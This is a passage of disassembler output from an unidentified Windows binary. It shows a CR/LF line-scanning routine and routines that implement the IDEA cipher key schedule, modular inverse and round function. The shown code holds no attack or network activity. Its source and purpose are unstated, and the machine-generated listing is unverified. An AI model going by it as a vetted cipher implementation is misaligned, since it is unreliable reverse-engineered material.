		mov	[ebp+var_58], eax


loc_415F23:				; CODE XREF: sub_415B59+344j
					; sub_415B59+3A5j
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_3C], eax


loc_415F31:				; CODE XREF: sub_415B59+2A4j
		jmp	loc_415FE4
; ---------------------------------------------------------------------------


loc_415F36:				; CODE XREF: sub_415B59+298j
		push	[ebp+var_3C]
		push	[ebp+arg_4]
		call	ds:dword_424740	; lstrcmpi
		test	eax, eax
		jnz	short loc_415FB1
		movzx	eax, [ebp+var_48]
		test	eax, eax
		jz	short loc_415FB1
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax


loc_415F54:				; CODE XREF: sub_415B59+421j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_415F7C
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_415F7C
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_415F7C
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_415F54
; ---------------------------------------------------------------------------


loc_415F7C:				; CODE XREF: sub_415B59+402j
					; sub_415B59+40Dj ...
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_10]
		dec	eax
		push	eax
		push	[ebp+var_3C]
		push	[ebp+arg_C]
		call	sub_410630
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+arg_10]
		and	byte ptr [eax-1], 0
		mov	edi, [ebp+arg_C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_44], ecx
		jmp	short loc_41601E
; ---------------------------------------------------------------------------


loc_415FB1:				; CODE XREF: sub_415B59+3EBj
					; sub_415B59+3F3j ...
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_415FD9
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_415FD9
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_415FD9
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_415FB1
; ---------------------------------------------------------------------------


loc_415FD9:				; CODE XREF: sub_415B59+45Fj
					; sub_415B59+46Aj ...
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax
		jmp	loc_415C4E
; ---------------------------------------------------------------------------


loc_415FE4:				; CODE XREF: sub_415B59:loc_415F31j
		jmp	short loc_416019
; ---------------------------------------------------------------------------


loc_415FE6:				; CODE XREF: sub_415B59+23Bj
					; sub_415B59+4B3j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_41600E
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_41600E
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_41600E
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_415FE6
; ---------------------------------------------------------------------------


loc_41600E:				; CODE XREF: sub_415B59+494j
					; sub_415B59+49Fj ...
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax
		jmp	loc_415C4E
; ---------------------------------------------------------------------------


loc_416019:				; CODE XREF: sub_415B59+14Dj
					; sub_415B59:loc_415D4Fj ...
		jmp	loc_415C3B
; ---------------------------------------------------------------------------


loc_41601E:				; CODE XREF: sub_415B59+EFj
					; sub_415B59+12Fj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_416029
		jmp	short loc_41604B
sub_415B59	endp


; =============== S U B	R O U T	I N E =======================================



sub_416029	proc near		; CODE XREF: sub_415B59+4C9p
					; DATA XREF: _4:004213F8o
		mov	eax, [ebp-34h]
		mov	[ebp-68h], eax
		push	dword ptr [ebp-68h]
		call	sub_41BACD
		pop	ecx
		cmp	dword ptr [ebp-2Ch], 0FFFFFFFFh
		jz	short locret_41604A
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp-2Ch]
		call	sub_41473F

locret_41604A:				; CODE XREF: sub_416029+13j
		retn
sub_416029	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_415B59


loc_41604B:				; CODE XREF: sub_415B59+4CEj
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_415B59
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		mov	ecx, [ebp-4]
		call	sub_416088
		mov	eax, [ebp-4]
		add	eax, 68h
		push	eax
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-4]
		call	sub_416130
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416088	proc near		; CODE XREF: _3:0041606Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		and	[ebp+var_8], 0
		jmp	short loc_41609E
; ---------------------------------------------------------------------------


loc_416097:				; CODE XREF: sub_416088+40j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41609E:				; CODE XREF: sub_416088+Dj
		cmp	[ebp+var_8], 8
		jge	short loc_4160CA
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		movzx	ecx, byte ptr [ecx+1]
		add	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*2], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_416097
; ---------------------------------------------------------------------------


loc_4160CA:				; CODE XREF: sub_416088+1Aj
		and	[ebp+var_4], 0
		jmp	short loc_4160D7
; ---------------------------------------------------------------------------


loc_4160D0:				; CODE XREF: sub_416088+A2j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4160D7:				; CODE XREF: sub_416088+46j
		cmp	[ebp+var_8], 34h
		jge	short locret_41612C
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 7
		mov	ecx, [ebp+arg_4]
		movzx	eax, word ptr [ecx+eax*2]
		shl	eax, 9
		mov	ecx, [ebp+var_4]
		inc	ecx
		and	ecx, 7
		mov	edx, [ebp+arg_4]
		movzx	ecx, word ptr [edx+ecx*2]
		sar	ecx, 7
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*2+0Eh], ax
		mov	eax, [ebp+var_4]
		and	eax, 8
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*2]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 7
		mov	[ebp+var_4], eax
		jmp	short loc_4160D0
; ---------------------------------------------------------------------------

locret_41612C:				; CODE XREF: sub_416088+53j
		leave
		retn	8
sub_416088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416130	proc near		; CODE XREF: _3:0041607Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= word ptr -7Ch
var_78		= dword	ptr -78h
var_74		= word ptr -74h
var_70		= word ptr -70h
var_6C		= word ptr -6Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	esi
		push	edi
		mov	[ebp+var_80], ecx
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_84], ax
		push	[ebp+var_84]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_416431
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_88], ax
		push	[ebp+var_88]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_416431
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		and	[ebp+var_78], 0
		jmp	short loc_416207
; ---------------------------------------------------------------------------


loc_416200:				; CODE XREF: sub_416130+1D7j
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax


loc_416207:				; CODE XREF: sub_416130+CEj
		cmp	[ebp+var_78], 7
		jge	loc_41630C
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	cx, [ecx]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_8C], ax
		push	[ebp+var_8C]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_416431
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_90], ax
		push	[ebp+var_90]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_416431
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		jmp	loc_416200
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_416130+DBj
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	cx, [ecx]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_94], ax
		push	[ebp+var_94]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_416431
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_98], ax
		push	[ebp+var_98]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_416431
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		push	1Ah
		pop	ecx
		lea	esi, [ebp+var_6C]
		mov	edi, [ebp+arg_4]
		rep movsd
		and	[ebp+var_78], 0
		jmp	short loc_41641A
; ---------------------------------------------------------------------------


loc_416413:				; CODE XREF: sub_416130+2F9j
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax


loc_41641A:				; CODE XREF: sub_416130+2E1j
		cmp	[ebp+var_78], 34h
		jge	short loc_41642B
		mov	eax, [ebp+var_78]
		and	[ebp+eax*2+var_6C], 0
		jmp	short loc_416413
; ---------------------------------------------------------------------------


loc_41642B:				; CODE XREF: sub_416130+2EEj
		pop	edi
		pop	esi
		leave
		retn	8
sub_416130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416431	proc near		; CODE XREF: sub_416130+32p
					; sub_416130+81p ...

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_C		= word ptr -0Ch
var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		movzx	eax, [ebp+arg_0]
		cmp	eax, 1
		jg	short loc_41644C
		mov	ax, [ebp+arg_0]
		jmp	locret_416524
; ---------------------------------------------------------------------------


loc_41644C:				; CODE XREF: sub_416431+10j
		movzx	ecx, [ebp+arg_0]
		mov	eax, 10001h
		cdq
		idiv	ecx
		mov	[ebp+var_C], ax
		movzx	ecx, [ebp+arg_0]
		mov	eax, 10001h
		cdq
		idiv	ecx
		mov	[ebp+var_10], dx
		movzx	eax, [ebp+var_10]
		cmp	eax, 1
		jnz	short loc_41648C
		movzx	eax, [ebp+var_C]
		push	1
		pop	ecx
		sub	ecx, eax
		and	ecx, 0FFFFh
		mov	ax, cx
		jmp	locret_416524
; ---------------------------------------------------------------------------


loc_41648C:				; CODE XREF: sub_416431+42j
		mov	[ebp+var_8], 1


loc_416492:				; CODE XREF: sub_416431+DFj
		movzx	eax, [ebp+arg_0]
		movzx	ecx, [ebp+var_10]
		cdq
		idiv	ecx
		mov	[ebp+var_4], ax
		movzx	eax, [ebp+arg_0]
		movzx	ecx, [ebp+var_10]
		cdq
		idiv	ecx
		mov	[ebp+arg_0], dx
		movzx	eax, [ebp+var_4]
		movzx	ecx, [ebp+var_C]
		imul	eax, ecx
		mov	cx, [ebp+var_8]
		add	cx, ax
		mov	[ebp+var_8], cx
		movzx	eax, [ebp+arg_0]
		cmp	eax, 1
		jnz	short loc_4164D5
		mov	ax, [ebp+var_8]
		jmp	short locret_416524
; ---------------------------------------------------------------------------


loc_4164D5:				; CODE XREF: sub_416431+9Cj
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+arg_0]
		cdq
		idiv	ecx
		mov	[ebp+var_4], ax
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+arg_0]
		cdq
		idiv	ecx
		mov	[ebp+var_10], dx
		movzx	eax, [ebp+var_4]
		movzx	ecx, [ebp+var_8]
		imul	eax, ecx
		mov	cx, [ebp+var_C]
		add	cx, ax
		mov	[ebp+var_C], cx
		movzx	eax, [ebp+var_10]
		cmp	eax, 1
		jnz	short loc_416492
		movzx	eax, [ebp+var_C]
		push	1
		pop	ecx
		sub	ecx, eax
		and	ecx, 0FFFFh
		mov	ax, cx

locret_416524:				; CODE XREF: sub_416431+16j
					; sub_416431+56j ...
		leave
		retn	4
sub_416431	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		and	dword ptr [ebp-8], 0
		jmp	short loc_416544
; ---------------------------------------------------------------------------


loc_41653D:				; CODE XREF: _3:00416566j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax


loc_416544:				; CODE XREF: _3:0041653Bj
		mov	eax, [ebp-8]
		cmp	eax, [ebp+0Ch]
		jge	short locret_416568
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-0Ch]
		call	sub_41656C
		mov	eax, [ebp-4]
		add	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_41653D
; ---------------------------------------------------------------------------

locret_416568:				; CODE XREF: _3:0041654Aj
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41656C	proc near		; CODE XREF: _3:00416558p _3:00416BCBp

var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_28		= word ptr -28h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1C		= word ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= word ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_4], 8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_20], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_1C]
		sar	eax, 8
		movzx	ecx, [ebp+var_1C]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_20]
		sar	eax, 8
		movzx	ecx, [ebp+var_20]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_20], ax
		movzx	eax, [ebp+var_28]
		sar	eax, 8
		movzx	ecx, [ebp+var_28]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_28], ax
		movzx	eax, [ebp+var_2C]
		sar	eax, 8
		movzx	ecx, [ebp+var_2C]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_2C], ax


loc_416613:				; CODE XREF: sub_41656C+41Ej
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4166B2
		movzx	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_416693
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_1C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_32], ax
		jmp	short loc_4166A8
; ---------------------------------------------------------------------------


loc_416693:				; CODE XREF: sub_41656C+D8j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_32], ax


loc_4166A8:				; CODE XREF: sub_41656C+125j
		mov	ax, [ebp+var_32]
		mov	[ebp+var_34], ax
		jmp	short loc_4166C7
; ---------------------------------------------------------------------------


loc_4166B2:				; CODE XREF: sub_41656C+BFj
		movzx	eax, [ebp+var_1C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_34], ax


loc_4166C7:				; CODE XREF: sub_41656C+144j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_20]
		add	cx, [eax]
		mov	[ebp+var_20], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_28]
		add	cx, [eax]
		mov	[ebp+var_28], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_416792
		movzx	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	short loc_416773
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_2C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_36], ax
		jmp	short loc_416788
; ---------------------------------------------------------------------------


loc_416773:				; CODE XREF: sub_41656C+1B8j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_36], ax


loc_416788:				; CODE XREF: sub_41656C+205j
		mov	ax, [ebp+var_36]
		mov	[ebp+var_38], ax
		jmp	short loc_4167A7
; ---------------------------------------------------------------------------


loc_416792:				; CODE XREF: sub_41656C+19Fj
		movzx	eax, [ebp+var_2C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_38], ax


loc_4167A7:				; CODE XREF: sub_41656C+224j
		mov	ax, [ebp+var_28]
		mov	[ebp+var_14], ax
		mov	ax, [ebp+var_28]
		xor	ax, [ebp+var_1C]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_41685A
		movzx	eax, [ebp+var_28]
		and	eax, 0FFFFh
		mov	[ebp+var_28], ax
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_41683B
		movzx	eax, [ebp+var_28]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_28]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_28]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_28], ax
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3A], ax
		jmp	short loc_416850
; ---------------------------------------------------------------------------


loc_41683B:				; CODE XREF: sub_41656C+280j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_28], cx
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3A], ax


loc_416850:				; CODE XREF: sub_41656C+2CDj
		mov	ax, [ebp+var_3A]
		mov	[ebp+var_3C], ax
		jmp	short loc_41686F
; ---------------------------------------------------------------------------


loc_41685A:				; CODE XREF: sub_41656C+267j
		movzx	eax, [ebp+var_28]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_28], cx
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3C], ax


loc_41686F:				; CODE XREF: sub_41656C+2ECj
		mov	ax, [ebp+var_20]
		mov	[ebp+var_C], ax
		mov	ax, [ebp+var_20]
		xor	ax, [ebp+var_2C]
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_20]
		add	ax, [ebp+var_28]
		mov	[ebp+var_20], ax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_41692E
		movzx	eax, [ebp+var_20]
		and	eax, 0FFFFh
		mov	[ebp+var_20], ax
		movzx	eax, [ebp+var_20]
		test	eax, eax
		jz	short loc_41690F
		movzx	eax, [ebp+var_20]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_20], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_20]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_20]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_20], ax
